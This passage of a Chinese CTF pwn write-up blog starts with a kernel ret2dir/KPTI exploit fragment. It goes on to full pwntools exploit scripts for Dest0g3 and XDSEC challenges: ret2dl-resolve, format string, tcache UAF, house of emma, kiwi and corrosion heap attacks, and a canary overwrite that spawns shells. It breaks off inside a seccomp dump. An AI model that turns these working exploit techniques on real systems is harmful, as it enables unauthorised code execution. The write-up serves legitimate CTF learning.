}
memcpy(physmap_spray_arr[i], physmap_spray_arr[0], page_size);
}
try_hit= 0xffff888000000000 + 0x7000000;
__asm__(
"mov r15, 0x1111111;"
"mov r14, 0x2222222;"
"mov r13, 0x3333333;"
"mov r12, 0x4444444;"
"mov rbp, 0x5555555;"
"mov rbx, 0x6666666;"
"mov r11, 0x7777777;"
"mov r10, 0x8888888;"
"mov r9, pop_rsp_ret;"
"mov r8, try_hit;"
"mov rax, 0x10;"
"mov rdx, try_hit;"
"mov rsi, 0x1bf52;"
"mov rdi, fd;"
"syscall"
);
}

除了ret2dirKPTI绕过以外,还学到了两个零碎的知识

init_cred:一般使用commit_creds(prepare_kernel_cred(0))来完成提权,原理就是prepare_kernel_cred(0)会返回一个root权限的cred,然后commit_creds()将这个新cred设置成这个进程的cred,这个比较麻烦的一点是mov rdi,rax,ret比较难找,在官方wp里他直接使用了一个credinit_cred,这个cred是一个root权限的cred,所以可以直接commit_creds(init_cred),其中init_cred可以直接在/proc/kallsyms中找见。

pt_regs:这是一个由寄存器的值组成的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};

当用户态使用系统调用进入内核态的时候,就会把所有的寄存器的值压入内核栈底,也就组成了pt_regs结构体。其中r15~r8寄存器是可以在用户态通过内联汇编控制的,也就是说我们可以控制内核栈底的数据了,如果我们还能控制一次程序流比如说虚表中的某个函数指针,当调用这个指针的时候,他到内核栈底的偏移是固定的,那就可以通过把函数指针覆盖成gadget跳到r15~r8之间完成rop

gadget的板子:add rsp, val ; ret

Dest0g3 pwn

算是比较简单的比赛,毕竟我都都做出来这么多题,所有的题目漏洞都是裸的,所以难点都在如何利用漏洞身上,其中后面三道堆题都是攻击io结构,确实有点恶心。

image-20220527125626074

image-20220527125647780

PWN2

一道简单的栈溢出,但是我没有找见libc的版本,加上开了延迟绑定,心一横直接拿ret2dl做了,下面简单总结一下ret2dl攻击。

主要结构体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//dynamic段
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn_DYNAMIC[];

//rel.plt
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;


//dynsym
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

主要流程如下,_dl_runtime_resolve函数通过reloc_arg寻址到这个函数对应的重定位表(ret.plt),这个寻址是偏移寻址,然后通过重定位表的r_info寻址到对应的dynsym符号重定位表,这个寻址是下标寻址,要注意结构体的大小,然后通过结构体的st_name寻址到对应的dynstr,这个寻址是偏移寻址,找到的就是函数的字符串,然后根据这个字符串返回对应函数地址。

image-20220527131543243

攻击的方法就是自己构造完整的一套ret.plt,dynsym,dynstr,然后构造reloc_arg,让其指向自己伪造的ret.plt就好了。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
context.log_level='debug'
sh=remote("node4.buuoj.cn",29767)
#sh=process("./pwn")
elf =ELF("./pwn")
pop_rbx=0x08049022
puts_plt=elf.plt["puts"]
puts_got=elf.got["setbuf"]
hackme_addr=0x08049216
pop_rbp=0x080494e3
lea_ret=0x08049185
_dl_runtime_resolve=0x8049030
scanf_plt=elf.plt["__isoc99_scanf"]
rel_plt=0x080483fc
dynstr=0x08048308
dynsym=0x08048248
def add_num(num):
sh.recvuntil("input your choice:\n")
sh.sendline('1')
sh.recvuntil("input num")
sh.sendline(str(num))

def get_num():
sh.recvuntil("input your choice:\n")
sh.sendline('2')

def get_avg():
sh.recvuntil("input your choice:\n")
sh.sendline('3')

#gdb.attach(sh,'b *{0}'.format(0x08049407))
def exp():
sh.recvuntil("input the length of array:")
sh.sendline('-1')
for i in range(10):
add_num(0)
add_num(-1)
add_num(0)
add_num(0xd)
for i in range(3):
add_num(0)
add_num(0x804ca00)
add_num(scanf_plt)
add_num(lea_ret)
add_num(0x0804A023)
add_num(0x804ca00+4)
sh.sendline(str(hackme_addr))
sh.sendline(str(hackme_addr))


sh.recvuntil("input the length of array:")
sh.sendline('-1')
for i in range(10):
add_num(1)
add_num(-1)
add_num(0)
add_num(0xd)
for i in range(3):
add_num(0)
add_num(0x804c2b0)
reloc_arg=0x4620
add_num(_dl_runtime_resolve)#0x804ca08
add_num(reloc_arg)#0x804ca0c
add_num(hackme_addr)#0x804ca10
add_num(0x804ca48)#0x804ca14 /bin/sh_addr
add_num(1)#0x804ca18
#fake_Elf32_Rel
add_num(elf.got["printf"])#0x804ca1c
fake_r_info=(0x47e<<8)|0x7
add_num(fake_r_info)#0x804ca20

add_num(1)#0x804ca24
#fake_Elf32_Sym
fake_st_name=0x4734#0x804ca28
add_num(fake_st_name)#0x804ca2c
add_num(0)
add_num(0)
add_num(0x12)
add_num(1)
add_num(0x74737973)#0x804ca3c
add_num(0x6d65)#0x804ca40
add_num(1)#0x804ca44
add_num(0x6e69622f)#0x804ca48
add_num(0x68732f)
sh.recvuntil("input your choice:\n")
sh.sendline('5')
sh.interactive()
exp()

其实没必要这么麻烦的,直接拿ret2libc打就好了

pwn3

格式化字符串漏洞,我直接改返回地址为ogg拿shell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context.log_level='debug'
#sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc-2.33.so'})
#libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc-2.33.so')
sh=remote("node4.buuoj.cn",25438)
#sh=process("./pwn")
'''
0xde78c execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xde78f execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xde792 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

'''

def printf(content):
sh.recvuntil("est0g3?\n",timeout=100000)
#sleep(10)
sh.send(content.ljust(0x40,'a'))

#gdb.attach(sh,"b *(0x555555554000+{0})".format(0x1210))
#gdb.attach(sh,'b printf')
def exp():
pay='%10$p %9$p'
#pay='%10$p %9$p %10$hhn'
printf(pay)

m=sh.recv(29)
print m
fmt_stack1=int(m[0:14],16)
print hex(fmt_stack1)
fmt_stack3=fmt_stack1-0xf0

libc_addr=int(m[15:],16)-0x28565
print hex(libc_addr)

pay='%'+str(fmt_stack3&0xffff)+'c%10$hn\x00'
printf(pay)

ogg_addr=0xde78f+libc_addr
pay='%'+str(0x8f)+'c%39$hhn\x00'
printf(pay)

pay='%'+str((fmt_stack3&0xff)+1)+'c%10$hhn\x00'
printf(pay)

pay='%'+str((ogg_addr&0xffff00)>>8)+'c%39$hn\x00'
printf(pay)

printf('111111111111111111')
sh.interactive()

exp()

pwn4

高版本的uaf,注意tcache的fd的异或操作就好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
sh=remote("node4.buuoj.cn",27314)
#sh=process("./pwn")
context.log_level='debug'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def new(size,content):
sh.recvuntil("4. show\n: ")
sh.sendline('1')
sh.recvuntil("Please tell me its size: ")
sh.sendline(str(size))
sh.recvuntil("Content: ")
sh.send(content)

def free(idx):
sh.recvuntil("4. show\n: ")
sh.sendline("3")
sh.recvuntil("Please tell me the index: ")
sh.sendline(str(idx))

def show(idx):
sh.recvuntil("4. show\n: ")
sh.sendline("4")
sh.recvuntil("Please tell me the index: \n")
sh.sendline(str(idx))

def edit(idx,content):
sh.recvuntil("4. show\n: ")
sh.sendline("2")
sh.recvuntil("Please tell me the index: ")
sh.sendline(str(idx))
sh.recvuntil("Please tell me its content: ")
sh.send(content)


def exp():
new(0x7f,'a')
new(0x40,'a')
new(0x40,'a')
new(0x50,'/bin/sh')
for i in range(7):
free(0)
edit(0,p64(0)*2+'\n')
free(0)
show(0)
libc_addr=u64(sh.recv(6).ljust(8,'\x00'))-0x1e0c00
free(2)
show(2)
heap_addr2=((u64(sh.recv(8))<<12) & 0xffffffffffffffff)+0x380
free(1)
show(1)
free_hook=libc.sym["__free_hook"]+libc_addr
heap_addr1=(((u64(sh.recv(8))^heap_addr2)<<12)&0xffffffffffffffff)+0x330
next=((heap_addr1>>12)&0xffffffffffffffff)^free_hook
edit(1,p64(next)+'\n')
new(0x40,'a')
system_addr=libc.sym["system"]+libc_addr
new(0x40,p64(system_addr))
free(3)
# gdb.attach(sh)
sh.interactive()

exp()

pwn5

题目直接说了是emma,那就拿emma打吧,emma一共有两种打法,一种是fsop,刷新io链,所以可以伪造两个有emma调用链的io结构,一个结构改key,然后让下一个io结构拿shell,另一种是控制stderr结构体,构造emma的调用链,然后修改topchunk的size申请堆块报错进入这个函数,在这个函数的__fxprintf中就会触发emma的调用链了

1
2
3
4
5
6
7
8
9
10
11
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

这道题使用的是后一种方法,流程如下,不过这道题倒是不用setcontext,直接system拿shell

image-20220527133817903

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
#sh=process("./pwn")
sh=remote("node4.buuoj.cn",28733)
context.log_level='debug'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(idx,size,content):
sh.recvuntil(">>\n")
sh.sendline("1")
sh.recvuntil("Index: \n")
sh.sendline(str(idx))
sh.recvuntil("Size: \n")
sh.sendline(str(size))
sh.recvuntil("Content\n")
sh.send(content)

def edit(idx,content):
sh.recvuntil(">>\n")
sh.sendline("2")
sh.recvuntil("Index: \n")
sh.sendline(str(idx))
sh.recvuntil("Content\n")
sh.send(content)

def show(idx):
sh.recvuntil(">>\n")
sh.sendline("3")
sh.recvuntil("Index: \n")
sh.sendline(str(idx))


def free(idx):
sh.recvuntil(">>\n")
sh.sendline("4")
sh.recvuntil("Index: \n")
sh.sendline(str(idx))

def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)

def exp():
add(-4,0x420,'a')
add(0,0x460,'a')
add(4,0x450,'a')
add(1,0x450,'a')
free(0)
add(2,0x600,'a')
edit(0,'a')
show(0)
libc_addr=u64(sh.recv(6).ljust(8,'\x00'))-0x61-0x1e1000
edit(0,'\x00')
free(1)
add(3,0x600,'a')
show(0)
heap_addr=u64(sh.recv(6).ljust(8,'\x00'))-0xf90
add(1,0x450,'a')
edit(0,p64(libc_addr+0x1e1000)*2+p64(0)+p64(libc_addr+0x1ed5b0-0x20))
free(1)
add(5,0x600,'a')
add(6,0xa00,'a')
free(6)
add(7,0x500,'a')
edit(6,'a'*0x500+p64(0)+p64(0xce))
fake_IO_FILE=p64(0x00000000fbad2087)
system_addr=libc_addr+libc.sym["system"]
fake_IO_FILE+=p64(heap_addr+0x2100)*8
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heap_addr) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(0x1e1a20+libc_addr + 0x40) # vtable
fake_IO_FILE += p64(heap_addr+0xb30+0x10) # rdi
fake_IO_FILE += p64(0)
# pay=system_addr^(heap_addr+0xf90)
# pay1=pay&0x7ff
# pay2=pay&
fake_IO_FILE += p64(ROL(system_addr ^ (heap_addr + 0xf90), 0x11))
fake_IO_FILE+=p64(0)
edit(4,'/bin/sh\x00')
edit(-4,fake_IO_FILE)
#fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_base + 0x22a0), 0x11))
print hex(system_addr ^ (heap_addr + 0xf90))
#gdb.attach(sh)
sh.recvuntil(">>\n")
sh.sendline("1")
sh.recvuntil("Index: \n")
sh.sendline(str(8))
sh.recvuntil("Size: \n")
sh.sendline(str(0x600))
sh.interactive()

exp()

pwn6

house of kiwi,网上讲的非常清楚,就不说攻击流程了,这道题最主要的问题是限制共享库的位置,然后没有符号表调试的时候很难受,mark给了符号表和调试脚本才能进行动调.脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *
sh=process(['./ld-2.31.so', './pwn'], env={"LD_LIBRARY_PATH":'./libc-so.6'})
#sh=remote("node4.buuoj.cn",26914)
context.log_level='debug'
libc=ELF("./libc.so.6")

def debug():
load1="source ./loadsym.py\n"
load2="loadsym '/home/ctf/getshell/des/pwn4/1/usr/lib/debug/lib/x86_64-linux-gnu/libc-2.31.so'\n"
gdb.attach(sh,load1+load2)
def init(content):
sh.recvuntil("Before the game starts, please give me your name:")
sh.send(content)

def add(size,idx,content):
sh.recvuntil("[4] edit note.\n>> ")
sh.sendline('1')
sh.recvuntil("How much do you want?\n")
sh.sendline(str(size))
sh.recvuntil("Which one do you want to put?\n")
sh.sendline(str(idx))
sh.recvuntil("Tell me your idea:\n")
sh.send(content)

def free(idx):
sh.recvuntil("[4] edit note.\n>> ")
sh.sendline('2')
sh.recvuntil("Which one do you want to remove?\n")
sh.sendline(str(idx))

def show(idx):
sh.recvuntil("[4] edit note.\n>> ")
sh.sendline('3')
sh.recvuntil("Which one do you want to look?\n")
sh.sendline(str(idx))

def edit(idx,content):
sh.recvuntil("[4] edit note.\n>> ")
sh.sendline('4')
sh.recvuntil("Which one do you want to change?\n")
sh.sendline(str(idx))
sh.recvuntil("Change your idea:\n")
sh.send(content)

def exp():
init('zhangpeng')
add(0x48,0,'a'*0x48)
add(0x50,1,'a')
add(0x50,2,'a')
for i in range(3,10):
add(0xb0,i,'a')
for i in range(3,10):
free(i)
edit(0,'a'*0x48+p8(0xc1))
free(1)
add(0x50,1,'a')
show(2)
sh.recvuntil("content: ")
libc_addr=u64(sh.recv(6).ljust(8,'\x00'))-0x1ebbe0
print hex(libc_addr)
_IO_file_jumps_addr=libc.sym["_IO_file_jumps"]+libc_addr
#IO_helper_jumps_addr=libc.sym["_IO_helper_jumps"]+libc_addr
_IO_helper_jumps_addr=libc_addr+0x1ec960-0xc0
add(0x20,3,'a')
add(0x20,4,'a')
free(4)
free(3)
setcontent_addr=libc_addr+libc.sym['setcontext'] + 61
edit(2,p64(_IO_file_jumps_addr+0x60)+p64(0)+'\n')
add(0x20,3,'a')
add(0x20,4,p64(setcontent_addr))
add(0x20,5,'a')
free(5)
free(3)

show(2)
sh.recvuntil("content: ")
heap_addr=u64(sh.recv(6).ljust(8,'\x00'))-0x920
edit(2,p64(_IO_helper_jumps_addr+0xa0)+p64(0)+'\n')
add(0x20,3,'a')
add(0x20,5,p64(heap_addr+0xa00))
ret_addr=libc_addr+0x0000000000025679
add(0x20,6,'a')
free(6)
free(3)
edit(2,p64(_IO_helper_jumps_addr+0Xa8)+p64(0)+'\n')
add(0x20,3,'a')
add(0x20,6,p64(ret_addr))
free(0)
free(1)
free(3)
add(0x78,0,'a'*0x78)
add(0x70,1,'a')
add(0x30,3,'a')
edit(0,"a"*0x78+p8(0xc1)+'\n')
free(1)
pop_rax=libc_addr+0x000000000004a550
pop_rdi=libc_addr+0x0000000000026b72
pop_rsi=libc_addr+0x0000000000027529
pop_rdx_r12=libc_addr+0x000000000011c371
syscall_addr=libc_addr+0x000000000002584d
rop=p64(pop_rax)+p64(59)
rop+=p64(pop_rdi)+p64(heap_addr+0xa60)
rop+=p64(pop_rsi)+p64(0)
rop+=p64(pop_rdx_r12)+p64(0)*2
rop+=p64(syscall_addr)
rop=rop.ljust(0x60,'\x00')
rop+='/bin/sh\x00'
add(0x80,1,rop)
edit(3,p64(0)+p64(0xce)+'\n')
debug()
sh.recvuntil("[4] edit note.\n>> ")
sh.sendline('1')
sh.recvuntil("How much do you want?\n")
sh.sendline(str(0xe0))
sh.recvuntil("Which one do you want to put?\n")
sh.sendline(str(7))
sh.interactive()
exp()

pwn7

算是比较有意思的一道题,也是看的最久的一道题,可以通过mmap伪造堆块free放到bin上,由于使用的是calloc,所以无法简单的使用tcache完成攻击,能使用的只有largebinattack没法整,后来经过提示发现可以使用House of Corrosion完成一定范围的任意写,这就好办多了,控制stderr的vtable指向_IO_helper_jumps,然后修改 _IO_helper_jumps偏移为0x60的函数指针为system,然后把stderr的前八个字节改成字符串/bin/sh,然后控制topchunk到mmap的空间,修改size申请堆块触发__malloc_assert函数。

1
2
3
4
5
6
7
8
9
10
11
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

在fflush中就会调用stderr中vtable的偏移为0x60函数指针,此时rdi指向stderr结构体,也就是字符串/bin/sh的地址,偏移为0x60函数指针也是system,此时就getshell了。

脚本比较乱,其中好多没用,所以看起来这么多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
from pwn import *
context.log_level='debug'
#sh=process("./pwn")
sh=remote("node4.buuoj.cn",26218)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")


def add(size):
sh.recvuntil("5. exit\n>> ")
sh.sendline("1")
sh.recvuntil("size: ")
sh.sendline(str(size))

def edit(offset,size,content):
sh.recvuntil("5. exit\n>> ")
sh.sendline("2")
sh.recvuntil("size: ")
sh.sendline(str(size))
sh.recvuntil("offset: ")
sh.sendline(str(offset))
sh.recvuntil("content: ")
sh.send(content)

def free(idx):
sh.recvuntil("5. exit\n>> ")
sh.sendline("3")
sh.recvuntil("idx: ")
sh.sendline(str(idx))

def show():
sh.recvuntil("5. exit\n>> ")
sh.sendline("4")
sh.recvuntil("content: ")

def exp():
add(0x430)
pay=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x431)
pay+=p64(0)*132
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
# pay+=p64(0)+p64(0x2b61)
edit(0,len(pay),pay)
free(0x30)
add(0x420)
free(0x30)
edit(0x30,1,'a')
show()
libc_addr=u64(sh.recv(6).ljust(8,'\x00'))-0x61-0x1e0c00
stderr_addr=0x1e15e0+libc_addr
stderr_chain=stderr_addr+0x68
edit(0x30,1,'\x00')
pay=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x421)
pay+=p64(0)*130
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
edit(0x800,len(pay),pay)
free(0x830)
edit(0x30,0x8,'a'*8)
show()
sh.recvuntil("aaaaaaaa")
mem_addr=u64(sh.recv(5).ljust(8,'\x00'))-0x820
edit(0x30,8,p64(libc_addr+0x1e0c00))
add(0x410)
add(0x500)
edit(0x30,0x20,p64(libc_addr+0x1e1000)*2+p64(0)+p64(libc_addr+0x1ed5b0-0x20))
edit(0x800,len(pay),pay)
free(0x830)
add(0x500)
edit(0x30,0x20,p64(mem_addr+0x820)+p64(libc_addr+0x1e0ff0)+p64(mem_addr+0x820)*2)
edit(0x830,0x20,p64(libc_addr+0x1e0ff0)+p64(mem_addr+0x20)*3)
add(0x410)
fake_io_1=p64(0)*4+p64(0)
fake_io_1+=p64(mem_addr+0x1a00)+p64(0)
fake_io_1+=p64(mem_addr+0x1e00)+p64(mem_addr+0x1e00+22)
fake_io_1+=p64(0)*4+p64(mem_addr+0x920)
fake_io_1+=p64(0)*13+p64(0x1e2560+libc_addr)
edit(0x820,len(fake_io_1),fake_io_1)

fake_io_2=p64(0)*4+p64(0)
fake_io_2+=p64(mem_addr+0x1a00)+p64(0)
fake_io_2+=p64(mem_addr+0x1e00)+p64(mem_addr+0x1e00+22)
fake_io_2+=p64(0)*4+p64(0)
fake_io_2+=p64(0)*13+p64(0x1e2560+libc_addr)
edit(0x920,len(fake_io_2),fake_io_2)

pay=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0xa0)
pay+=p64(0)*18
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
edit(0x1000,len(pay),pay)
free(0x1030)
edit(0x1030,0x10,p64(0)*2)
free(0x1030)
free_hook=libc_addr+libc.sym["__free_hook"]
next=((mem_addr+0x1030>>12)&0xffffffffffffffff)^(free_hook-0x10)
edit(0x1030,0x8,p64(next))
pay='/bin/sh\x00'+p64(0)+p64(libc_addr+libc.sym["system"])
edit(0x1e00,0x18,pay)
free(0x460)
add(0x420)
pay='a'*0x420+'a'*(0x18-1)+'A'
edit(0x30,len(pay),pay)
show()
sh.recvuntil("aA")
heap_aadr=u64(sh.recv(6).ljust(8,'\x00'))-0x10
pay='a'*0x420+p64(0)+p64(0x21)
edit(0x30,len(pay),pay)
free(0x30)
add(0x500)


pay=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x421)
pay+=p64(0)*130
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
edit(0x1200,len(pay),pay)
free(0x1230)
edit(0x30,0x20,p64(libc_addr+0x1e0ff0)*2+p64(0)+p64(libc_addr+0x1e3e78-0x20-3))
add(0x500)


pay=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x1631)
edit(0x1000,len(pay),pay)

pay='\x00'*0x651
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
edit(0x1fff,len(pay),pay)
free(0x1030)

pay=(((mem_addr+0x1030)>>12)&0xffffffffffffffff)^(0x1e1960+libc_addr)
edit(0x1030,0x10,p64(pay)+p64(0))
add(0x1620)



pay=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x1c41)
edit(0x1000,len(pay),pay)

pay='\x00'*0xc61
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
edit(0x1fff,len(pay),pay)
free(0x1030)

pay=(((mem_addr+0x1030)>>12)&0xffffffffffffffff)^(libc_addr+libc.sym["system"])
edit(0x1030,0x10,p64(pay)+p64(0))
add(0x1c30)


pay=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x1481)
edit(0x1000,len(pay),pay)

pay='\x00'*0x4a1
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
edit(0x1fff,len(pay),pay)
free(0x1030)
pay=(((mem_addr+0x1030)>>12)&0xffffffffffffffff)^0x0068732f6e69622f
edit(0x1030,0x10,p64(pay)+p64(0))
add(0x1470)

edit(0x30,0x20,p64(mem_addr+0x1220)+p64(libc_addr+0x1e0ff0)+p64(mem_addr+0x1220)*2)

edit(0x1220,0x30,p64(0)+p64(0x421)+p64(libc_addr+0x1e0ff0)+p64(mem_addr+0x20)*3)
pay=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0xc1)
pay+=p64(0)*22
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
pay+=p64(0)+p64(0x21)
pay+=p64(0)*2
edit(0x1800,len(pay),pay)
for i in range(7):
free(0x1830)
edit(0x1830,0x10,'\x00'*0x10)
free(0x1830)
edit(0x1820,0x10,p64(0)+p64(0xce))
add(0xffff)
sh.interactive()

exp()

![img](file:///C:\Users\张鹏\Documents\Tencent Files\2220323423\Image\C2C(}RLTKRW2)0W46[NJBY[R`A.png)

image-20220511133825521

pwn1

一道有点点麻烦的scanf栈溢出,给了两次任意改和一次74字节的scanf输入机会,所以可以通过任意改改TLS储存的canary的值,不过只有在线程中才canary的储存位置才离栈很近,可以通过栈改,在进程中都是储存在fs段,离栈非常远就不好更改了,然后通过scanf的栈溢出搞个ogg就能getshell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.log_level='debug'
#sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so', './pwn'], env={"LD_LIBRARY_PATH":'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/'})
sh=remote("pwn.archive.xdsec.chall.frankli.site",10015)
libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
elf=ELF("./pwn")
b='b *{0}'.format(0x40142E)
#gdb.attach(sh,b)

def edit(idx,content):
sh.sendlineafter("Add new god:",str(idx))
sh.sendafter("Name: ",content.ljust(7,'\x00'))
def exp():
sh.sendlineafter("Do you know who is the God of XDSEC? (*^_^*)",'yes')
edit(272,'a')
edit(10,p64(0x401236))
pop_rdi=0x00000000004015d3
pay='a'*(8*3-1)+p64(0x61)+p64(0)+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x401236)
sh.recvuntil("Finally, what's your name?")
sh.sendline(pay)
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym["puts"]
print hex(libc_base)
sh.recvuntil("Finally, what's your name?")
pay='a'*(8*3)+p64(0x61)+p64(0)+p64(libc_base+0x0000000000034580)+p64(libc_base+0xe3b34)
sh.sendline(pay)
sh.interactive()
exp()

pwn2 shellcode

一道有沙箱的shellcode题目,刚开始题目出的有问题,沙箱没有禁用0x40000000,所以可以0x40000000+系统调用号绕过沙箱,本地是成功的,但是远程一直不成功,和出题人反馈后说是题目出错了,最后ban了0x40000000,但是没有ban架构,沙盒如下

1
2
3
4
5
6
7
8
9
10
11
rootzhang@ubuntu:~/get-shell/xidian/pwn5$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x25 0x05 0x00 0x40000000 if (A > 0x40000000) goto 0007
0002: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0007
